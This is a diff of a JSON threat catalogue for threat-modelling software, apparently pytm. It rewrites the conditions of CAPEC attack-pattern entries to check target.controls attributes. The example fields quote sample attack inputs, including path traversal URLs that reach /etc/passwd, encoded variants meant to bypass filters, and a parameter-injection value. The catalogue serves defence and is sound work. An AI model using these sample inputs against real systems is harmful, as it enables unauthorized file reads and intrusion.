     "details": "An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream, influence the nature of the data transmitted, or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position himself so as to observe explicit data channels (e.g. network traffic) and read the content.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "not target.isEncrypted or (target.source.inScope and not target.isResponse and (not target.authenticatesDestination or not target.checksDestinationRevocation)) or target.tlsVersion < target.sink.minTLSVersion",
+    "condition": "not target.controls.isEncrypted or (target.source.inScope and not target.isResponse and (not target.controls.authenticatesDestination or not target.checksDestinationRevocation)) or target.tlsVersion < target.sink.minTLSVersion",
     "prerequisites": "The target must transmit data over a medium that is accessible to the adversary.",
     "mitigations": "Leverage encryption to encode the transmission of data thus making it accessible only to authorized parties.",
     "example": "Adversary tries to block, manipulate, and steal communications in an attempt to achieve a desired negative technical impact.",
@@ -209,7 +209,7 @@
     "details": "The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.",
     "Likelihood Of Attack": "Low",
     "severity": "Medium",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target's filters must fail to detect that a character has been doubly encoded but its interpreting engine must still be able to convert a doubly encoded character to an un-encoded character.The application accepts and decodes URL string request.The application performs insufficient filtering/canonicalization on the URLs.",
     "mitigations": "Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input. Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. When client input is required from web-based forms, avoid using the GET method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the POST method whenever possible. Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.Refer to the RFCs to safely decode URL. Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive. There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).",
     "example": "Double Enconding Attacks can often be used to bypass Cross Site Scripting (XSS) detection and execute XSS attacks. The use of double encouding prevents the filter from working as intended and allows the XSS to bypass dectection. This can allow an adversary to execute malicious code.",
@@ -242,7 +242,7 @@
     "details": "An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.hasAccessControl is False or target.authorizesSource is False",
+    "condition": "target.controls.hasAccessControl is False or target.controls.authorizesSource is False",
     "prerequisites": "The target must have misconfigured their access control mechanisms such that sensitive information, which should only be accessible to more trusted users, remains accessible to less trusted users.The adversary must have access to the target, albeit with an account that is less privileged than would be appropriate for the targeted resources.",
     "mitigations": "Use strong authentication and authorization mechanisms. A proven protocol is OAuth 2.0, which enables a third-party application to obtain limited access to an API.",
     "example": "An adversary that has previously obtained unauthorized access to certain device resources, uses that access to obtain information such as location and network information.",
@@ -257,7 +257,7 @@
     "details": "An adversary manipulates an application's interaction with a buffer in an attempt to read or modify data they shouldn't have access to. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer is immaterial. Instead, most buffer attacks involve retrieving or providing more input than can be stored in the allocated buffer, resulting in the reading or overwriting of other unintended program memory.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.usesSecureFunctions is False",
+    "condition": "target.controls.usesSecureFunctions is False",
     "prerequisites": "The adversary must identify a programmatic means for interacting with a buffer, such as vulnerable C code, and be able to provide input to this interaction.",
     "mitigations": "To help protect an application from buffer manipulation attacks, a number of potential mitigations can be leveraged. Before starting the development of the application, consider using a code language (e.g., Java) or compiler that limits the ability of developers to act beyond the bounds of a buffer. If the chosen language is susceptible to buffer related issues (e.g., C) then consider using secure functions instead of those vulnerable to buffer manipulations. If a potentially dangerous function must be used, make sure that proper boundary checking is performed. Additionally, there are often a number of compiler-based mechanisms (e.g., StackGuard, ProPolice and the Microsoft Visual Studio /GS flag) that can help identify and protect against potential buffer issues. Finally, there may be operating system level preventative functionality that can be applied.",
     "example": "Attacker identifies programmatic means for interacting with a buffer, such as vulnerable C code, and is able to provide input to this interaction.",
@@ -288,7 +288,7 @@
     "details": "An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.",
     "Likelihood Of Attack": "High",
     "severity": "Medium",
-    "condition": "target.handlesResourceConsumption is False or target.isResilient is False",
+    "condition": "target.controls.handlesResourceConsumption is False or target.controls.isResilient is False",
     "prerequisites": "Any target that services requests is vulnerable to this attack on some level of scale.",
     "mitigations": "Ensure that protocols have specific limits of scale configured. Specify expectations for capabilities and dictate which behaviors are acceptable when resource allocation reaches limits. Uniformly throttle all requests in order to make it more difficult to consume resources more quickly than they can again be freed.",
     "example": "Adversary tries to bring a network or service down by flooding it with large amounts of traffic.",
@@ -303,7 +303,7 @@
     "details": "An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or ) and/or dots (.)) to reach desired directories or files.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.validatesInput is False and target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False and target.controls.sanitizesInput is False",
     "prerequisites": "The attacker must be able to control the path that is requested of the target.The target must fail to adequately sanitize incoming paths",
     "mitigations": "Design: Configure the access control correctly. Design: Enforce principle of least privilege. Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution. Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement. Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host. 6. Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin. Implementation: Perform input validation for all remote content, including remote and user-generated content. Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Implementation: Use indirect references rather than actual file names. Implementation: Use possible permissions on file access when developing and deploying web applications. Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification -- whitelisting approach.",
     "example": "An example of using path traversal to attack some set of resources on a web server is to use a standard HTTP request http://example/../../../../../etc/passwd From an attacker point of view, this may be sufficient to gain access to the password file on a poorly protected system. If the attacker can list directories of critical resources then read only access is not sufficient to protect the system.",
@@ -319,7 +319,7 @@
     "details": "The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.usesEnvironmentVariables is True and (target.implementsAuthenticationScheme is False or target.validatesInput is False or target.authorizesSource is False)",
+    "condition": "target.usesEnvironmentVariables is True and (target.controls.implementsAuthenticationScheme is False or target.controls.validatesInput is False or target.controls.authorizesSource is False)",
     "prerequisites": "An environment variable is accessible to the user.An environment variable used by the application can be tainted with user supplied data.Input data used in an environment variable is not validated properly.The variables encapsulation is not done properly. For instance setting a variable as public in a class makes it visible and an attacker may attempt to manipulate that variable.",
     "mitigations": "Protect environment variables against unauthorized read and write access. Protect the configuration files which contain environment variables against illegitimate read and write access. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Apply the least privilege principles. If a process has no legitimate reason to read an environment variable do not give that privilege.",
     "example": "Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the attacker upload the Trojan library to a specific location on the target. As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as 172.16.2.100shared_filestrojan_dll.dll. See also: Path Manipulation (CVE-1999-0073). The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to ignorespace. HISTCONTROL can also be set to ignore duplicate commands by setting it to ignoredups. In some Linux systems, this is set by default to ignoreboth which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.",
@@ -337,7 +337,7 @@
     "details": "An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.handlesResourceConsumption is False",
+    "condition": "target.controls.handlesResourceConsumption is False",
     "prerequisites": "The target must accept service requests from the attacker and the adversary must be able to control the resource allocation associated with this request to be in excess of the normal allocation. The latter is usually accomplished through the presence of a bug on the target that allows the adversary to manipulate variables used in the allocation.",
     "mitigations": "Limit the amount of resources that are accessible to unprivileged users. Assume all input is malicious. Consider all potentially relevant properties when validating input. Consider uniformly throttling all requests in order to make it more difficult to consume resources more quickly than they can again be freed. Use resource-limiting settings, if possible.",
     "example": "In an Integer Attack, the adversary could cause a variable that controls allocation for a request to hold an excessively large value. Excessive allocation of resources can render a service degraded or unavailable to legitimate users and can even lead to crashing of the target.",
@@ -370,7 +370,7 @@
     "details": "An adversary includes formatting characters in a string input field on the target application. Most applications assume that users will provide static text and may respond unpredictably to the presence of formatting character. For example, in certain functions of the C programming languages such as printf, the formatting character %s will print the contents of a memory location expecting this location to identify a string and the formatting character %n prints the number of DWORD written in the memory. An adversary can use this to read or write to memory locations or files, or simply to manipulate the value of the resulting text in unexpected ways. Reading or writing memory may result in program crashes and writing memory could result in the execution of arbitrary code if the adversary can write to the program stack.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target application must accept a strings as user input, fail to sanitize string formatting characters in the user input, and process this string using functions that interpret string formatting characters.",
     "mitigations": "Limit the usage of formatting string functions. Strong input validation - All user-controllable input must be validated and filtered for illegal formatting characters.",
     "example": "Untrusted search path vulnerability in the add_filename_to_string function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local users to cause Elinks to use an untrusted gettext message catalog (.po file) in a ../po directory, which can be leveraged to conduct format string attacks.",
@@ -385,7 +385,7 @@
     "details": "An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False",
+    "condition": "target.controls.validatesInput is False",
     "prerequisites": "The target application must accept a string as user input, fail to sanitize characters that have a special meaning in LDAP queries in the user input, and insert the user-supplied string in an LDAP query which is then processed.",
     "mitigations": "Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as LDAP content. Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the LDAP or application.",
     "example": "PowerDNS before 2.9.18, when running with an LDAP backend, does not properly escape LDAP queries, which allows remote attackers to cause a denial of service (failure to answer ldap questions) and possibly conduct an LDAP injection attack.",
@@ -400,7 +400,7 @@
     "details": "An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value myInput&new_param=myValue, then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.validatesInput is False",
+    "condition": "target.controls.validatesInput is False",
     "prerequisites": "The target application must use a parameter encoding where separators and parameter identifiers are expressed in regular text.The target application must accept a string as user input, fail to sanitize characters that have a special meaning in the parameter encoding, and insert the user-supplied string in an encoding which is then processed.",
     "mitigations": "Implement an audit log written to a separate host. In the event of a compromise, the audit log may be able to provide evidence and details of the compromise. Treat all user input as untrusted data that must be validated before use.",
     "example": "The target application accepts a string as user input, fails to sanitize characters that have a special meaning in the parameter encoding, and inserts the user-supplied string in an encoding which is then processed.",
@@ -415,7 +415,7 @@
     "details": "An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or ) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target application must accept a string as user input, fail to sanitize combinations of characters in the input that have a special meaning in the context of path navigation, and insert the user-supplied string into path navigation commands.",
     "mitigations": "Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement. Implementation: Perform input validation for all remote content, including remote and user-generated content. Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification -- whitelisting approach. Implementation: Prefer working without user input when using file system calls. Implementation: Use indirect references rather than actual file names. Implementation: Use possible permissions on file access when developing and deploying web applications.",
     "example": "The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file. http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string. Then an attacker creates special payloads to bypass this filter: http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd When the application gets this input string, it will be the desired vector by the attacker.",
@@ -431,7 +431,7 @@
     "details": "This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.checksInputBounds is False and target.validatesInput is False",
+    "condition": "target.controls.checksInputBounds is False and target.controls.validatesInput is False",
     "prerequisites": "The targeted client software communicates with an external server.The targeted client software has a buffer overflow vulnerability.",
     "mitigations": "The client software should not install untrusted code from a non-authenticated server. The client software should have the latest patches and should be audited for vulnerabilities before being used to communicate with potentially hostile servers. Perform input validation for length of buffer inputs. Use a language or compiler that performs automatic bounds checking. Use an abstraction library to abstract away risky APIs. Not a complete solution. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Ensure all buffer uses are consistently bounds-checked. Use OS-level preventative functionality. Not a complete solution.",
     "example": "Attack Example: Buffer Overflow in Internet Explorer 4.0 Via EMBED Tag Authors often use EMBED tags in HTML documents. For example <EMBED TYPE=audio/midi SRC=/path/file.mid AUTOSTART=true If an attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild.",
@@ -446,7 +446,7 @@
     "details": "An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema. Possible attacks are denial of service attacks by modifying the schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the adversary removes this attribute from the schema then documents created using the new grammar may lack this field, which may cause the processing application to enter an unexpected state or record incomplete data. In addition, manipulation of the data types described in the schema may affect the results of calculations taken by the document reader. For example, a float field could be changed to an int field. Finally, the adversary may change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might us a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).",
     "Likelihood Of Attack": "Low",
     "severity": "High",
-    "condition": "any(d.format == 'XML' for d in target.data) and target.authorizesSource is False",
+    "condition": "any(d.format == 'XML' for d in target.data) and target.controls.authorizesSource is False",
     "prerequisites": "Some level of access to modify the target schema.The schema used by the target application must be improperly secured against unauthorized modification and manipulation.",
     "mitigations": "Design: Protect the schema against unauthorized modification. Implementation: For applications that use a known schema, use a local copy or a known good repository instead of the schema reference supplied in the XML document. Additionally, ensure that the proper permissions are set on local files to avoid unauthorized modification. Implementation: For applications that leverage remote schemas, use the HTTPS protocol to prevent modification of traffic in transit and to avoid unauthorized modification.",
     "example": "XML Schema Poisoning Attacks can often occur locally due to being embedded within the XML document itself or being located on the host within an improperaly protected file. In these cases, the adversary can simply edit the XML schema without the need for additional privileges. An example of the former can be seen below: <?xml version=1.0?> <!DOCTYPE contact [ <!ELEMENT contact (name,phone,email,address)> <!ELEMENT name (#PCDATA)> <!ELEMENT phone (#PCDATA)> <!ELEMENT email (#PCDATA)> <!ELEMENT address (#PCDATA)> ]> <note> <name>John Smith</name> <phone>555-1234</phone> <email>jsmith@email.com</email> <address>1 Example Lane</address> </note></capec:Code> If the 'name' attribute is required in all submitted documents and this field is removed by the adversary, the application may enter an unexpected state or record incomplete data. Additionally, if this data is needed to perform additional functions, a Denial of Service (DOS) may occur.XML Schema Poisoning Attacks can also be executed remotely if the HTTP protocol is being used to transport data. : <?xml version=1.0?> <!DOCTYPE contact SYSTEM http://example.com/contact.dtd[ <note> <name>John Smith</name> <phone>555-1234</phone> <email>jsmith@email.com</email> <address>1 Example Lane</address> </note></capec:Code> The HTTP protocol does not encrypt the traffic it transports, so all communication occurs in plaintext. This traffic can be observed and modified by the adversary during transit to alter the XML schema before it reaches the end user. The adversary can perform a Man-in-the-Middle (MITM) Attack to alter the schema in the same way as the previous example and to acheive the same results.",
@@ -476,7 +476,7 @@
     "details": "An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "((not target.source.providesIntegrity or not target.sink.providesIntegrity) and not target.isEncrypted) or (target.source.inScope and not target.isResponse and (not target.authenticatesDestination or not target.checksDestinationRevocation))",
+    "condition": "((not target.source.controls.providesIntegrity or not target.sink.controls.providesIntegrity) and not target.controls.isEncrypted) or (target.source.inScope and not target.isResponse and (not target.controls.authenticatesDestination or not target.checksDestinationRevocation))",
     "prerequisites": "The target must provide content but fail to adequately protect it against modification.The adversary must have the means to alter data to which he/she is not authorized.If the content is to be modified in transit, the adversary must be able to intercept the targeted messages.",
     "mitigations": "Validation of user input for type, length, data-range, format, etc. Encoding any user input that will be output by the web application.",
     "example": "An attacker finds a site which is vulnerable to HTML Injection. He sends a URL with malicious code injected in the URL to the user of the website(victim) via email or some other social networking site. User visits the page because the page is located within trusted domain. When the victim accesses the page, the injected HTML code is rendered and presented to the user asking for username and password. The username and password are both sent to the attacker's server.",
@@ -492,7 +492,7 @@
     "details": "An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False",
+    "condition": "target.controls.validatesInput is False",
     "prerequisites": "Software's input validation or filtering must not detect and block presence of additional malicious command.",
     "mitigations": "Design: Perform whitelist validation against a positive specification for command length, type, and parameters.Design: Limit program privileges, so if commands circumvent program input validation or filter routines then commands do not running under a privileged accountImplementation: Perform input validation for all remote content.Implementation: Use type conversions such as JDBC prepared statements.",
     "example": "By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior. LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.",
@@ -509,7 +509,7 @@
     "details": "An attacker exploits a weakness in input validation by controlling the format, structure, and composition of data to an input-processing interface. By supplying input of a non-standard or unexpected form an attacker can adversely impact the security of the target. For example, using a different character encoding might cause dangerous text to be treated as safe text. Alternatively, the attacker may use certain flags, such as file extensions, to make a target application believe that provided data should be handled using a certain interpreter when the data is not actually of the appropriate type. This can lead to bypassing protection mechanisms, forcing the target to use specific components for input processing, or otherwise causing the user's data to be handled differently than might otherwise be expected. This attack differs from Variable Manipulation in that Variable Manipulation attempts to subvert the target's processing through the value of the input while Input Data Manipulation seeks to control how the input is processed.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.validatesInput is False",
+    "condition": "target.controls.validatesInput is False",
     "prerequisites": "The target must accept user data for processing and the manner in which this data is processed must depend on some aspect of the format or flags that the attacker can control.",
     "mitigations": "Validation of user input for type, length, data-range, format, etc.",
     "example": "A target application has an integer variable for which only some integer values are expected by the application. But since it does not have any checks in place to validate the value of the input, the attacker is able to manipulate the targeted integer variable such that normal operations result in non-standard values.",
@@ -524,7 +524,7 @@
     "details": "In this attack pattern, the adversary intercepts information transmitted between two third parties. The adversary must be able to observe, read, and/or hear the communication traffic, but not necessarily block the communication or change its content. The adversary may precipitate or indirectly influence the content of the observed transaction, but is never the intended recipient of the information. Any transmission medium can theoretically be sniffed if the adversary can examine the contents between the sender and recipient.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "(target.protocol == 'HTTP' or target.isEncrypted is False) or target.usesVPN is False",
+    "condition": "(target.protocol == 'HTTP' or target.controls.isEncrypted is False) or target.usesVPN is False",
     "prerequisites": "The target data stream must be transmitted on a medium to which the adversary has access.",
     "mitigations": "Encrypt sensitive information when transmitted on insecure mediums to prevent interception.",
     "example": "Attacker knows that the computer/OS/application can request new applications to install, or it periodically checks for an available update. The attacker loads the sniffer set up during Explore phase, and extracts the application code from subsequent communication. The attacker then proceeds to reverse engineer the captured code.",
@@ -540,7 +540,7 @@
     "details": "An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.implementsAuthenticationScheme is False",
+    "condition": "target.controls.implementsAuthenticationScheme is False",
     "prerequisites": "The system uses one factor password based authentication.The system does not have a sound password policy that is being enforced.The system does not implement an effective password throttling mechanism.",
     "mitigations": "Create a strong password policy and ensure that your system enforces this policy.Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-02.",
     "example": "A system user selects the word treacherous as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks. Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password (which is known by the client and the network), and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server. Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.See also: CVE-2003-1096",
@@ -556,7 +556,7 @@
     "details": "Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.implementsAPI is True and target.validatesInput is False",
+    "condition": "target.implementsAPI is True and target.controls.validatesInput is False",
     "prerequisites": "The target application must include the use of APIs that execute scripts.The target application must allow the attacker to provide some or all of the arguments to one of these script interpretation methods and must fail to adequately filter these arguments for dangerous or unwanted script commands.",
     "mitigations": "Always use HTTPS and SSL Certificates. Firewall optimizations to prevent unauthorized access to or from a private network. Use strong authentication and authorization mechanisms. A proven protocol is OAuth 2.0, which enables a third-party application to obtain limited access to an API. Use IP whitelisting and rate limiting.",
     "example": "Since APIs can be accessed over the internet just like any other URI with some sensitive data attached to the request, they share the vulnerabilities of any other resource accessible on the internet like Man-in-the-middle, CSRF Attack, Denial of Services, etc.",
@@ -586,7 +586,7 @@
     "details": "An adversary engages in probing and exploration activities to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.",
     "Likelihood Of Attack": "High",
     "severity": "Very Low",
-    "condition": "target.isHardened is False",
+    "condition": "target.controls.isHardened is False",
     "prerequisites": "An application must publicize identifiable information about the system or application through voluntary or involuntary means. Certain identification details of information systems are visible on communication networks (e.g., if an adversary uses a sniffer to inspect the traffic) due to their inherent structure and protocol standards. Any system or network that can be detected can be footprinted. However, some configuration choices may limit the useful information that can be collected during a footprinting attack.",
     "mitigations": "Keep patches up to date by installing weekly or daily if possible.Shut down unnecessary services/ports.Change default passwords by choosing strong passwords.Curtail unexpected input.Encrypt and password-protect sensitive data.Avoid including information that has the potential to identify and compromise your organization's security such as access to business plans, formulas, and proprietary documents.",
